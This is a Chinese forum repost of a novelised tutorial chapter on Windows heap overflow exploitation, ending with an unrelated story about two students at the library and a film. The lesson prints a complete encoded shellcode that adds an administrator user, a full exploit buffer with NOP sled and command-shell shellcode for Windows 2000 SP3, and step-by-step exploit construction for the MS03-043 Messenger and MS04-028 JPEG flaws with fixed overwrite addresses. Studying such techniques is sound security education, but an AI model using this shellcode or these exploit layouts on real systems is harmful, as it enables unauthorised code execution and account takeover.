  “我们来看一个现实中真正的堆溢出漏洞——Windows Message堆溢出漏洞。其漏洞公告MS03 — 043,如下图。”老师说道,“大家先仔细看看。” 

Windows下堆溢出利用编程 QQ截图20151226170618.png

溢 出 点 的 定 位

  “Messenger服务是一个Windows服务,它传送net send消息。在CMD控制台下,我们执行net send对 方计算机名消息,对方就会弹出一个信使服务对话框,显示我们传递给它的消息内容。如下图。”

Windows下堆溢出利用编程 QQ截图20151226171212.png

  “哦,这种消息传送的方法,比不上QQ、MSN,有什么用呢? ”大家问道。

  “Windows Message服务除了用于用户间发送消息、管理员向用户发送管理警报外,也可用作事件通知, 比如当打印作业完成或计算机断电而切换到UPS时,自动使用Message通知用户。”

  “哦,原来可以和其他程序联动啊! ”大家都明白了。

  “是的。我们从上图的信使服务对话框中可以看出,传送的Message包括发送方计算机名、接收方计 算机名、时间和消息。”

  “确切的说,Message数据包的结构如下图。它是通过NetBIOS (即137—139端口或UDP的135端口) 传输的。”

Windows下堆溢出利用编程 QQ截图20151226171217.png

  “有了 Message结构和前面网络编程的基础,我们完全可写出一个程序来完成net send正常传送消息的功 能。”老师说道,“但我们要更进一步,不仅要能正常传送,还要使其溢出!”

  “哦?是哪部分发生了溢出呢?时间部分?还是机器名部分?”大家猜测道。

  “呵呵,微软的公告上都说了,导致该漏洞的原因是:没有正确的验证长度就把消息传递给缓冲区了。所以消息部分过长后,就可以导致堆溢出!”

  “哦,是这样啊!”

  “明白了溢出的原因后,我们就可以先搭一个框架,然后根据别人的漏洞分析(或者利用前面的方法)定位溢出点。”老师在黑板上画了起来,“我们可以得到:是消息的2263个字节达到了下一个堆管理结构, 接下来就是两个要改写的操作指针,如下图。”

Windows下堆溢出利用编程 QQ截图20151226171223.png

  “哦!和前面的堆溢出分析果然一模一样啊! ”同学们感叹道。 “是的,我们继续按照经典的三步走,完成攻击。”

通 用 和 编 码 ShellCode 初 接 触


  “定位了溢出点,下一步就是ShellCode的编写。”

  “前几次课,我们对ShellCode的编写进行了详细讲解,这里就使用现成的添加用户的ShellCode吧!功 能是添加一个名为‘X’的用户,并加入到管理组中

unsigned char ShellCode[] = // XorDecode
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x3E\x01\x80\x34\x0A\x96\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
// AddUser:X Pass:X
"\xf0\x17\x7a\x16\x96\x1f\x70\x7e\x21\x96\x96\x96\x1f\x90\x1f\x55"
"\xc5\xfe\xe8\x4e\x74\xe5\x7e\x2b\x96\x96\x96\x1f\xd0\x9a\xc5\xfe"
"\x18\xd8\x98\x7a\x7e\x39\x96\x96\x96\x1f\xd0\x9e\xa7\x4d\xc5\xfe"
"\xe6\xff\xa5\xa4\xfe\xf8\xf3\xe2\xf7\xc2\x69\x46\x1f\xd0\x92\x1f"
"\x55\xc5\xfe\xc8\x49\xea\x5b\x7e\x1a\x96\x96\x96\x1f\xd0\x86\xc5"
"\xfe\x41\xab\x9a\x55\x7e\xe8\x96\x96\x96\x1f\xd0\x82\xa7\x56\xa7"
"\x4d\xd5\xc6\xfe\xe4\x96\xe5\x96\xfe\xe2\x96\xf9\x96\xfe\xe4\x96"
"\xf7\x96\xfe\xe5\x96\xe2\x96\xfe\xf8\x96\xff\x96\xfe\xfb\x96\xff"
"\x96\xfe\xd7\x96\xf2\x96\x1f\xf0\x8a\xc6\xfe\xce\x96\x96\x96\x1f"
"\x77\x1f\xd8\x8e\xfe\x96\x96\xca\x96\xc6\xc5\xc6\xc6\xc5\xc6\xc7"
"\xc7\x1f\x77\xc6\xc2\xc7\xc5\xc6\x69\xc0\x86\x1d\xd8\x8e\xdf\xdf"
"\xc7\x1f\x77\xfc\x97\xc7\xfc\x95\x69\xe0\x8a\xfc\x96\x69\xc0\x82"
"\x69\xc0\x9a\xc0\xfc\xa6\xcf\xf2\x1d\x97\x1d\xd6\x9a\x1d\xe6\x8a"
"\x3b\x1d\xd6\x9e\xc8\x54\x92\x96\xc5\xc3\xc0\xc1\x1d\xfa\xb2\x8e"
"\x1d\xd3\xaa\x1d\xc2\x93\xee\x97\x7c\x1d\xdc\x8e\x1d\xcc\xb6\x97"
"\x7d\x75\xa4\xdf\x1d\xa2\x1d\x97\x78\xa7\x69\x6a\xa7\x56\x3a\xae"
"\x76\xe2\x91\x57\x59\x9b\x97\x51\x7d\x64\xad\xea\xb2\x82\xe3\x77"
"\x1d\xcc\xb2\x97\x7d\xf0\x1d\x9a\xdd\x1d\xcc\x8a\x97\x7d\x1d\x92"
"\x1d\x97\x7e\x7d\x94\xa7\x56\x1f\x7c\xc9\xc8\xcb\xcd\x54\x9e\x96";

  “老师,这个ShellCode是针对哪个系统的呢? ”台下有人问道。
  “这个ShellCode是经过编码变换的,而且采用动态定位的方式,各个系统可以通用。”

  “编码?通用?好神奇啊!这是怎么实现的呢? ”大家问道。
  “看来大家都很有兴趣,那我抽个时间给给你们讲讲ShellCode的编码及其高级编程吧!”

  “好啊! ”大家欢呼起来。
  “到时我再讲具体的实现吧!现在直接使用就可以。”老师说道,“我们还是先完成对Windows 2000 SP3 Message堆溢出漏洞的攻击吧!”

跳 转 和 构 造

  “第三步就是实现跳转到ShellCode中。”老师说,“现在,大家类比刚才的例子想想,知道该怎么做了吧? ”
  “嗯,在消息段中,先覆盖2263个无用字节进行填充,这样就到了堆管理块;用NOPNOPJmp 08覆盖管理 块,用来跳过后面的what和where,然后进入最后的ShellCode中。”古风说。

  玉波也抢着回答:“而我们把what覆盖成call[esi+4C]的地址,把where覆盖成默认异常处理地址,后面跟ShellCode,就像下图一样。”

Windows下堆溢出利用编程 QQ截图20151226171229.png

  “这样,在what—where的操作时,就会把顶层异常处理地址覆盖成call [esi+4c]的地址;发生异常 后,就会执行call [esi + 0x4C],跳转到堆管理结构中;那儿我们正好放的是JMP 08,这样跳进最后 的ShellCode中了。”宇强也把流程说了一遍。

  “非常好! ”老师很满意大家的表现,“特别是在Windows2000 SP3下,call [esi+4C]指令的地址是 0x77e2f91f,顶层异常处理地址是0x77ec044c,这是我们在前面得到的。这样,数据构造就如下图所示。”

Windows下堆溢出利用编程 QQ截图20151226171235.png

  “好了! ”老师说道,“我们就这样构造出了消息部分数据,再加上其他的数据头等结构,得到程序 message.。。我们把数据发给有漏洞的目标机,目标机就会跳过去执行我们的ShellCode。”

  “实际测试一下,我们先在‘工程一设置’里设置要攻击的主机,如下图。”

Windows下堆溢出利用编程 QQ截图20151226171241.png

  “再编译、执行。目标机上就会出现下图的效果。”

Windows下堆溢出利用编程 QQ截图20151226171254.png

  “哦!引发了错误!”同学们叫道。
  “是的,那是Services系统服务异常后引起的。但我们可以看到,已经加上了一个名为‘X’的用户,完成了我们想要的功能!”

  “是啊!是那换成其他功能的ShellCode也可以么?”
  “当然可以,只要那个ShellCode符合堆漏洞的条件就行,大家下去可以自己测试。好了,我们休息一下! ”


RtlFreeHeap 的 失 误

  课间休息时大家议论纷纷。
  “缓冲区溢出有如此多的方法,真奥妙啊!”
  “有些地方无法用语言表达,只能自己去感受!”

  “是的! ”老师说道,“程序设计其实就是一门艺术;而缓冲区溢出编程,更是普通程序设计之上的突破与创新!”
  “不过说到程序设计艺术啊!”老师和大家随便的聊开了,“强烈建议大家参与ICPC/ACM (国际大学生程序设计竞赛)。该赛事极大的锻炼了学生的逻辑分析能力、策略制定和脑力开发!”

  小知识:
  ICPC/ACM (国际大学生程序设计竞赛)是由ACM (Association for Computing Machinery,美国计算机协会)组织的年度性竞赛,始于1970 年,是全球大学生计算机程序能力竞赛活动中最有影响的一项赛事。竞赛方式是在指定时间和地点,由3 个成员组成的小组应用一台计算机在5个小时内编程解决6至9个生活中的实际问题,现场提交源程序, 自动评判是否通过测试数据,按照解决问题数目的多少和耗时排名。

  老师接着说:“ICPC/ACM分为各洲的预赛和美国总部总决赛。预赛的第一名或前两名队伍会获得去美国参加世界总决赛的资格。总决赛的地点前两年在夏威夷,现在在好莱坞。”

  “哇!都是好想去的地方啊! ”小倩说道。
  “中国大陆2001年只有一个赛点——上海大学。后来增加了一个,2002年是北京清华和西安交大,2003 年是北京清华和中山大学,今年2004年是北京大学和上海交大。”

  “中国谁最强呢?清华么? ”古风仰慕的问道。
  “实力都很接近。但上海交大代表队于2002年获得世界总决赛冠军!是国内唯一的一次冠军! ”老师满脸自豪。

  “哇!世界冠军啊!”玉波的嘴都张大了。

  “是啊,我们学校离一流强队还有一定的差距,未来就在你们身上啊!平时可供练习的网站有浙江大学 (acm.zju.edu.cn)、四川大学(acm.scu.edu.cn),里面有大量题目和不定期的比赛交流。”

  “大家有时间的话,多参与一些此类的活动吧!打好算法和数据结构的基础,不要虚度了大学四年的时光 啊! ”

  宇强听了老师的话后,内心激荡不已……

有 问 题 的 程 序

  “好了,我们继续上课吧! ”老师说道。
  “大家都清楚了堆溢出利用的实质吧!就是写任意4个byte的数据到任意的内存地址中,即前面强调的 what—where。除了刚才再分配时,我们能实现what—where外,我们也可覆盖已分配的管理结构,使它在释放时被我们利用!”

  “哦?还可以这样啊?真是想不到,怎么利用啊? ”同学们纷纷问道。
“看来大家兴趣都很高,不错,有兴趣才能钻研嘛!先看另一个有堆溢出问题的程序heapvul2.cpp。如下:”

[mw_shl_code=c,true]#include <string.h>
#include <stdio.h>
#include <windows.h>
#include <malloc.h>
int main (int argc, char *argv[])
{
HANDLE hHeap;
char *buf1, *buf2;
//一个38字节的缓冲区
char mybuf[] = "11112222333344445555666677778888\x03\x00\x05\x00\x00\x09";
//我们自己建立一个HEAP
hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS, 0x10000, 0xfffff);
//分配两块32字节内存
buf1 = (char *)HeapAlloc(hHeap, 0, 32);
buf2 = (char *)HeapAlloc(hHeap, 0, 32);
//把38字节的‘mybuf’拷贝到32字节的‘buf1’里
memcpy(buf1, mybuf, 32+6);
//释放内存
HeapFree(hHeap, 0, buf1);
//这里会出错
HeapFree(hHeap, 0, buf2);
return 0;
}[/mw_shl_code]

  “和上面那个 heapvul2.cpp 程序不一样,”老师说道,“这里 buf1=(char *)HeapAlloc(hHeap, 0, 32); 和 buf2=(char *)HeapAlloc(hHeap, 0, 32); —来就动态分配好了 ‘buf1’ 和 ‘buf2’ 的空间,如下图。”

Windows下堆溢出利用编程 QQ截图20151226171309.png

  “然后 memcpy(buf1, mybuf, 32+6);就是把 ‘mybuf ’ 数组拷贝到 ‘buf1’ 里。拷贝了 38 字节,‘buf1’ 只有32字节。这样过长的字符串拷给‘buf1’,不仅覆盖了其32字节的空间,还覆盖了 ‘buf2 ‘的管理 结构,如下图。”

Windows下堆溢出利用编程 QQ截图20151226171313.png

  “最后执行HeapFree(hHeap, 0, buf2)释放‘buf2’时就会出错。”老师说道。“我们测试一下,编译、 执行!弹出出错对话框:‘0x77fccfe8’指令应用的‘0x34343434’内存,该内存不能为‘written’        ,如下图” 

Windows下堆溢出利用编程 QQ截图20151226171322.png

Windows 堆 块 的 管 理 结 构

  “哦! 0x34343434是我们构造的数据吧?”大家高兴的说,“那我们又可以控制把任意东西写进任意位置了啊? ”

  “是啊,但为什么要把‘Buf2’的管理结构填成\x03\x00\x05\x00\x00\x09这么奇怪的数呢? ”宇强又发现了问题。


  “嗯,观察得很仔细。因为在Windows下堆管理有很多分支,所以堆的溢出也非常复杂。Windows系统在 作释放处理时,将根据堆块管理结构的数据来进入不同流程的处理。”

  “哦! ”

  “所以,如果我们想要在Buf2释放时能控制what和where的值,并能执行what—where的操作,那就需要精心构造‘Buf2’的管理结构!”

  “堆块的管理结构都是8个字节,每个字节的含义如下图。”

Windows下堆溢出利用编程 QQ截图20151226171329.png

  “要达到我们的目的,产生what—where的操作,就需要让‘Buf2’的管理结构满足下面的条件。”老师说。

  “第一,要让‘索引号’段的值小于0x40;
  第二,要让‘Flag’的第0位和第三位都置1,如下图。”

Windows下堆溢出利用编程 QQ截图20151226171336.png

 小知识:Flag段每位的含义

0x01 - HEAP_ENTRY_BUSY
0x02 - HEAP_ENTRY_EXTRA_PRESENT
0x04 - HEAP_ENTRY_FILL_PATTERN
0x08 - HEAP_ENTRY_VIRTUAL_ALLOC
0x10 - HEAP_ENTRY_LAST_ENTRY
0x20 - HEAP_ENTRY_SETTABLE_FLAG1
0x40 - HEAP_ENTRY_SETTABLE_FLAG2
0x80 - HEAP_ENTRY_SETTABLE_FLAG3

what→where

  “在这样的构造下,RtlFreeHeap的时候会有一系列操作。”老师接着解释道。“首先,esi是指向‘Buf2’ 的管理结构,后面会有esi=esi-24的操作,esi就指向了 ‘Bf1’的存储空间数据。如下图。” 

Windows下堆溢出利用编程 QQ截图20151226171343.png

  “然后会有,mov eax,[esi]; mov esi, [esi+4]的操作,现在eax和esi都是‘Buf!’中的数据了。 如下图。”

Windows下堆溢出利用编程 QQ截图20151226171349.png

  “最后,有一个mov [esi],eax的操作(如下图),即我们想要的what—where。这里的where是esi, what是eax,而且esi和eax是‘Bufl’中的数据,都是我们可以控制的。”

Windows下堆溢出利用编程 QQ截图20151226171355.png

  “哦,那我们精心构造B的管理结构的值,并覆盖掉what和where位置上的值就可以了!”宇强现在明白 了。

构 造 和 利 用

  ”对,我们构造一个示意图。“

Windows下堆溢出利用编程 QQ截图20151226171401.png

  ‘那我们按照这个结构构造出利用的‘mybuf’就可以了。”大家七手八脚的构造出了 mybuf数据。

char mybuf[] = "11112222"
"\x1f\xf9\xe2\x77" //what call[esi+0x4c] in user32
"\x4c\x04\xec\x77" //where TOP SEH in 2000 sp3 cn
//"\xaa\xaa\xaa\xaa" //test
"5555666677778888\x03\x00\x05\x00\x00\x09"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//下面是Win2000 SP3下的开DOS窗口的ShellCode,参看第二章
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x64\x9f\xE6\x77" //sp3 loadlibrary地址0x77e69f64
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc3\xaf\x01\x78" //SP3 system地址0x7801afc3
"\xFF\xD0";

  “呵呵,大家回去测试一下,如果有什么问题,自己要试着解决! ”老师说道,“而现在,我们继续探讨堆溢出利用的问题。”

堆 溢 出 的 其 他 利 用 方 式

  “堆溢出利用的本质,就是使其产生what—where的操作,而让系统走向我们想要的流程。所以把what 和where覆盖成什么值是利用能否成功的关键。”老师说道。“刚才我们使用的是默认异常处理地址,方 法是把where覆盖成默认异常处理的地址,把what覆盖成ShellCode地址或能达到ShellCode的语句地址。”

  “嗯,Windows2000下的what就是call [esi+0x4c]指令的地址?”同学们说道。

  “对,对于Windows2000,还可以是call [ebp+0x74]指令的地址,而在XP系统下,则是call[edi+0x78] 指令的地址。”

  “这种覆盖方法,看起来还是不错嘛! ”大家看起来都很满意。

  “这种方法的优点是比较准确;但缺点是需要确切知道对方的系统和SP补丁号一默认异常的处理地址在 各个版本和SP下都是不同的。”

  “是啊! ”这句话提醒了大家,“好像还提到过把where覆盖成SEH的方法吧!”

  “是的,那是把where覆盖成当前异常处理程序地址,what覆盖成能达到ShellCode的语句地址。”

  “前面也说过,这种方法的优点与对方的系统和补丁无关,会比较准确通用;但缺点是需要对方线程地址是固定的。”

  “哦,那有别的更好的覆盖方法吗?”大家对已有的利用方式还不满意。

  “基于对Windows系统的深层认识,还有另外一些方法;但总的说来,这些也是类似的。”老师回答道。

覆 盖 PEB

  小知识:PEB和TEB

  PEB,指进程环境块。TEB,指线程环境块。
  在编程实现时,可以通过FS寄存器找到TEB、PEB甚至默认堆的起始地址。具体说,就是FS:[18]—TEB; TEB+30—PEB; PEB+18—默认的堆地址。在ShellCode高级编写中会有详细讲解。

  “在NT4/Windows2000/XP下,PEB的值都是固定的,都是0x7FFDF000。而在PEB偏移0x20的地方(即 0x7FFDF020),有一个函数指针        RtlEnterCriticalSection()函数的指针。如下图。”

Windows下堆溢出利用编程 QQ截图20151226171411.png

  ”哦,莫非我们可把where覆盖成它? ”玉波问道。

  “对! RtlEnterCriticalSection()函数很多地方都要用到,我们如果把0x7FFDF020覆盖成ShellCode的 地址,那么系统调用RtlEnterCriticalSection函数时就会进入我们的ShellCode。覆盖示意图如下图。”

Windows下堆溢出利用编程 QQ截图20151226171417.png

  “哦! 0X7FFDF020这个地址对所有版本和系统都是通用的;那我们可得到版本无关的覆盖了? ”大家说道。

  “是的,这是该方法最大的优点;但也有缺点,就是需要目标程序在后面调用RtlEnterCriticalSection ()函数才能进入我们的ShellCode。”

  “的确是这样啊!”

  “而且这样的覆盖也有可能会引发异常。所以能否进入我们的ShellCode,就需要具体程序具体分析,不能一概而论。”

覆 盖 Vector 异 常 句 柄

  “在XP下,有一种特殊的结构Vector异常句柄结构。它和传统的异常处理链存在堆栈中不同,Vector是存在堆里的。”

  小知识:Vector异常句柄结构

struct _VECTORED_EXCEPTION_NODE
{
DWORD m_pNextNode;
DWORD m_pPreviousNode;
PVOID m_pfnVectoredHandler;
}

  “哦?莫非我们可通过覆盖它来实现跳转? ”宇强听出了一点意思。
  “不错!很有创新思维嘛! ”老师笑道。

  宇强不好意思的小声对小倩说:“其实老师都说出这个意思了!”

  小倩回道:“但你悟性的确很好啊!”
  “那里哦!听听老师怎么讲的吧!”宇强表面虽作推辞状,心里却高兴极了。

  老师在台上说:“就是这样的,第一个Vector异常句柄位于地址0x77FC3210中,当作异常处理时,会有下面的处理:”

Mov esi,:[0x77FC3210]
call [esi+8]

  “所以,我们把where覆盖成0x77FC3210,而把what覆盖成ShellCode的地址一8。如下图”。

Windows下堆溢出利用编程 QQ截图20151226171423.png

  “假设 ShellCode 的地址是 0x0012FF50,我们就把 what 覆盖成 0x0012FF50-8 = 0x0012FF48。”

  “当执行what—where时,0x77FC3210就会设为0x0012FF48;这样在发生异常处理时,先mov esi, : [0x77FC3210]        , esi 就会变为 0x0012FF48;再执行 call [esi+8]时,就是执行 call 0x0012FF50 。 ”

  “哦!这样就可进入位于0x0012FF50地址的ShellCode 了。”大家说道。

  “是的!”

  “这种方法也有不足之处吗?”

  “又让大家失望了,的确是的,”老师说道,“第一个不足是只针对XP系统有效,Win2000下是没有Vector 溢出处理的;第二个不足是:‘what’要么覆盖成ShellCode的地址,要么覆盖成是指向ShellCode的某 个地址,都有可能造成不可信的覆盖。”

其 他 方 法

  “天啊!就没有完美的办法么? ”玉波绝望的说。

  “我也知道这个世界,缺乏圆满〜”宇强哼出林志炫的《散了吧》里的一句歌词。

  “哈哈哈……”全班同学都笑了。

  “学习了这么多,觉得Windows系统真有意思啊!”古风自喃道。

  “操作系统是最底层、最复杂的用户软件,多亏了 Bill Gates创造出Windows这种人性化的操作系统。”

  老师说道,“大家越深入的学习,就会越赞叹程序设计这座美妙的大厦。这里提醒大家,我们不仅要学习系统本身,更关键的是学习微软设计系统的思想和实现系统的方法。”

  “嗯,虽然没有源代码,但能感觉到他们处理问题的条理性和严谨性。”宇强认真的说。

  “对!另外,大家还应体会到团队合作的必要性和管理的重要性,”老师说道,“你们想啊!这么大一个 系统,浩如烟海的代码量,需要成千上万人的配合开发,如果管理协调有任何一点没到位,都不可能完成 的。“

  “而这方面目前在国内还很缺乏,如果大家有机会,能去微软亚洲研究院和微软工程院见识见识,近距离的向他们学习,对自己的提高是大有裨益的!”

  “哦,微软研究院?想都不敢想!”大家喧哗了。

  宇强听了老师的话后,顿觉得世界好大,自己好小……要学的东西很多,而一个人的时间又是这么宝贵,真的要抓紧再抓紧!努力再努力!

    “老师,还有其他覆盖方法吗?”古风把宇强的思路拉了回来。


  “如果对系统研究得越深,就会有越深入的见解。”老师回答说,“Matt Conover和0ded Horovitz在 BlackHat04会议上提到:我们可以构造伪造的堆块,使它释放时能算出ShellCode的地址!”

  “啊?算出来? ¥※……※太牛了吧! ”

  “这里的算出,是确切的计算出堆的地址! Matt和Oded在深入研究了 Windows堆管理后指出:我们申请 小于1024大小的堆块,系统会释放到Lookaside结构中,而Lookaside的地址是知道的,我们也知道会释放到哪个结点中,所以我们就可知道堆块释放后的地址是多少!”

  “给大家举个例子,假设堆的基址是0x70000, Lookaside在堆基址偏移0x0688的地方,即地址是0x70688。 我们申请分配922大小的堆块,释放时就会把它放在:取8对齐(922) /8=936/8=0x75的Lookaside位置 中,每个Lookaside位置占据0x30的大小,所以我们的堆的地址就是0x70688+0x75*0x30=0x71c78 ! ”

  “哦!还可以这样啊!

  “我们的ShellCode就会在其中,这下就精确知道ShellCode的地址了!”

  “这真是……不走寻常路,世界真奇妙……”大家对Matt和0ded的思维佩服得无话可说。

  “在Windows下,堆的管理非常复杂,还有另外一些复杂的技术可以利用,但这里就不提了,以后有机会 再说吧。”老师说道。

  “其实,还有一个常用方法,就是覆盖函数或者函数的返回点,但就更需要结合具体的漏洞来分析了。”

  “可以真实的学习一下吗? ”

  “当然可以啊!我们来看一个比较新的堆溢出漏洞一MS04-028堆溢出漏洞。”

实 例——JPEG 处 理 堆 溢 出 漏 洞 的 利 用

  “MS04-028漏洞是Windows XP/Windows XP SP1和其他一些(如.NET等)应用软件在处理伪造JPEG图片时出现的问题。”老师指着下图说。

Windows下堆溢出利用编程 QQ截图20151226171435.png

  “哦,是堆溢出漏洞,并能被利用执行任意代码呢!”大家仔细看了公告后说道。

  “是的,正好我们学习堆溢出,一起来分析利用它吧!”

  大家又打起精神,聚精会神的听了起来。

漏 洞 的 起 因

  “JPEG是联合图像专家小组的英文缩写,该小组制定了图像压缩的国际标准算法一JPEG算法,由该算法产生的图像就是JPEG图像。”老师说道。

  小知识:JPEG图像的主要格式

  0xFFD8 图像开始标志
  0xFFE0 ~0xFFEF 应用0~应用F标志,标志后面接相关数据,下同
  0xFFFE 注释标志
  0xFFDB 量化表标志
  0xFFD0 帧开始标志
  0xFFD4 哈夫曼表标志
  0xFFDA 图象数据标志

  0xFFD9 图像结束标志

  “会出现问题的地方在注释部分,注释段以0xFFFE为开始标志;后面是注释段的长度值,再后面为注释的数据。”

  “注释段的长度值是2个字节的无符号数,其值为注释的数据长度+2,这里的2是长度值本身占用的2个 字节。一个合法的注释段如下图。”

Windows下堆溢出利用编程 QQ截图20151226171441.png

  老师指着图解释道:“注释数据‘0x0102’为2个字节,所以长度值= 2+2=4。当系统要拷贝注释内容时, 就分配长度值一 2 =4 — 2 =2的空间,然后把注释内容拷到那个空间去。

  “嗯,看起来都很好啊?有什么问题吗? ”古风问道。 

  “呵呵!问题就在这里,由于长度值本身占据的两个字节要计入长度中,所以长度值的最小值为2,表示没有注释数据在后面。而如果长度值被伪造为0或1,大家想想会有什么问题呢?”老师望着台下听讲的同学们。

  “长度值会被减2,那0或1减2,就会得到-2或-1,那程序会怎样呢? ”大家觉得很奇怪。

  “长度定义是无符号数,那-2或-1就会被认为是……”老师提醒大家。

“-2或-1就会被认为是是无符号数的0xFFFE或0xFFFF ! ”大家终于回过神来。

  “对!这样系统就分配大量的空间用于存储并拷贝,由于拷贝的数据非常大,自然就会引发异常了。”

构 造 的 特 殊 性

  “哦,那是不是引发异常后,有what—where的操作呢? ”宇强凭感觉说道。

  “是的!异常后有what—where的操作,而且what是FFFE后的第12个字节,而where是FFFE后的第16 个字节。如下图”

Windows下堆溢出利用编程 QQ截图20151226171447.png

  “那我们把where覆盖成默认异常处理地址,what覆盖成ShellCode地址就可以了?

  “好啊!大家试试?”

  “把what填为ShellCode的地址,where填为系统默认异常处理地址,后面跟上ShellCode的代码。生成伪造图片后,我们在资源管理器中浏览试试。”

  教室里一片安静.....

  “这是怎么回事呢? ”古风疑惑的看着老师。

  “呵呵,这是没有引发默认异常处理啊!”老师回答说。 

  “哦!那我们换个利用方式吧,”古风说道,“把where覆盖成SEH处理地址,what覆盖成ShellCode 地址,再试试!”

  “铛! ”这下弹出了异常对话框。

  “这次引发了默认异常处理,却没进入到SEH处理中。”老师说道。

  “天啊!这这么办啊? ”古风彻底迷糊了。

  “呵呵!堆溢出漏洞的利用就是需要具体漏洞具体分析。对于这个漏洞,我们有特殊的利用方法。”

  “什么特殊方法呢? ”大家都急切的想知道。

  “在异常处理后,系统会返回到GdiPlus.dll中继续执行,这是GdiPlus.dll特有的行为,不是每个堆溢出漏洞都会有的。”

  “老师直接说结果吧! ”古风按耐不住了。

  “好的,覆盖方法是把where赋成0x7830B1DC,而what赋成EF 1F。”

  老师继续解释道:“0x7830B1DC是XP SP1的GdiPlus.dll中的一个函数地址,在异常处理后会被调用。 所以当异常处理执行what—where时,就会将这个函数改写;异常处理后,会返回GdiPlus.dll中调用我们覆盖的函数。经过多次处理后,程序就会到达我们what这条指令了。”

  021D6250 EB 1F JMP SHORT 021D6271

  “哦!我们再在后面赋上ShellCode就可完成攻击了! ”大家说道。

  “不错,就是这样的!”

完 美 的 利 用

  “好,思路都清楚了,我们来构造利用吧! ”。

  “好咧,首先是注释标志0xFFFE,然后是伪造的注释段长度0x0001,接着14直接填充数据后,就是我们的what和where 了。”古风构造了起来。 宇强和玉波也接着说:“对,然后把what写成0xEB 1F,where写成0x7830B1DC,后面跟我们的ShellCode, 如下图。”

Windows下堆溢出利用编程 QQ截图20151226171454.png


  “这里的ShellCode还是完成添加名为‘X’管理员用户的功能,”老师补充道,“我们再按照JPEG的格 式加上一些JPEG图片的数据,完成后得到xpspl.JPEG。”

  “那我们测试一下吧! ”大家期望的说。

  “好呢!我们在资源管理器中打开它,哇!资源管理器异常重启,但用户添加上去了。”

  “呼!终于成功了!”

  玉波感叹的说:“看来堆溢出的利用的确没有通吃的办法啊!”

  “学知识不是吃东西啊!我们需要先掌握一般的原理,打好基础,然后具体问题具体分析,这样才能创造性的解决较困难的问题。”老师说道。

  “嗯,我们一定牢记于心!”

  “好,这么晚了,今天都到这里吧,大家辛苦了!”

  “那里那里,老师才辛苦呢!”


小执念 古黑浩劫论坛大牛 2015-12-26 22:13 |显示全部楼层

可遇不可求的事:故乡的云,上古的玉,随手的诗,十九岁的你。

管理员
《月光宝盒》

  小倩一边收拾东西一边问宇强:“下课干什么呢?”

  “我想去图书馆借两本缓冲区溢出编程的书! ”宇强说。

  “哦!我也有点想去,我们一起吧!”

  “好啊! ”宇强想到又可以和小倩一起走,真高兴!

   “先吃点东西吧,好饿啊!”走出教室时宇强说道,“图书馆旁边家属区里的饺子挺不错的,我们去那里吃吧!也顺路。”

  “好啊! ”小倩满脸愉快悦。

  图书馆在老校门旁边,正对对着文科楼,一条沿途长满高大柏树的大道把它们隔开。图书馆门外有着老校长吴玉章的塑像和“海纳百川,有容乃大”八个大字。

  “图书馆里没有讲缓冲区溢出编程的书呀! ”宇强查了查电脑,对小倩说道。

  “应该还没有出版过这方面的书吧!”

  “是啊!那我去借两本操作系统和ACM竞赛的书吧!《程序设计竞赛与艺术》?好Cool的名字啊!刘汝佳! 哇!信息学竞赛的N0.1!我去借这本书,你等我。”

  过了一会,宇强满意的抱着一堆书从楼上走下来,对小倩说:“真不错啊! LRJ现在都是国家队教练了, 还在读大学也。这几本书是帮你借的。”

  宇强递给了吴小倩一本《算法导论》和一本《Windows核心编程》。

  “哦!都是好书啊,谢谢你啊!”

  “没事,不用谢!我们走吧!”

  两人走到了图书馆门口,看见“图书馆影院”贴着《月光宝盒》的海报。

  “很老的片子啦!但很经典! ”宇强停下来,指着海报上带着紧箍咒的孙悟空说道。

  “是啊!周星星的经典之作啊!图书馆影院就在旁边吧?才3块钱,挺便宜的嘛!我们要不要重温一遍?” 小倩转头望着身旁的宇强。

  “好啊!这部电影的每句台词、每个眼神、每个细节,都绝对的经典。我每看一次,总会发现不同的东西。”

  “那好啊!看看这次你有没有新的发现!”

  “现在我郑重宣布,这座山上所有的东西都是我的,包括你。”紫霞的开场白是那样的气贯云霄,像一个童话故事(其实宇强心里想的是:其实这个世界没有什么属于你的,包括你自己。)!

  也许我们就是为了创造属于自己的东西才来到这个世上,因为年轻,所以押注于爱情!

  至尊宝拒绝了紫霞,他以为自己还爱晶晶。见到晶晶,他又发现紫霞才是真爱。命运一直在同他开玩 笑:至尊宝忽然成了孙悟空,千辛万苦找晶晶又爱上了紫霞。而抉择是那样的残酷:要打败牛魔王救紫霞, 就必须戴上紧箍咒做回神通广大的孙悟空;而戴上紧箍咒就不能有半点情欲,只有取经去。

  至尊宝挖开自己的心,看到了紫霞留在那里的一滴眼泪,毕竟曾经沧海过!五百年又五百年,兜了一个大圈又回到了原地。

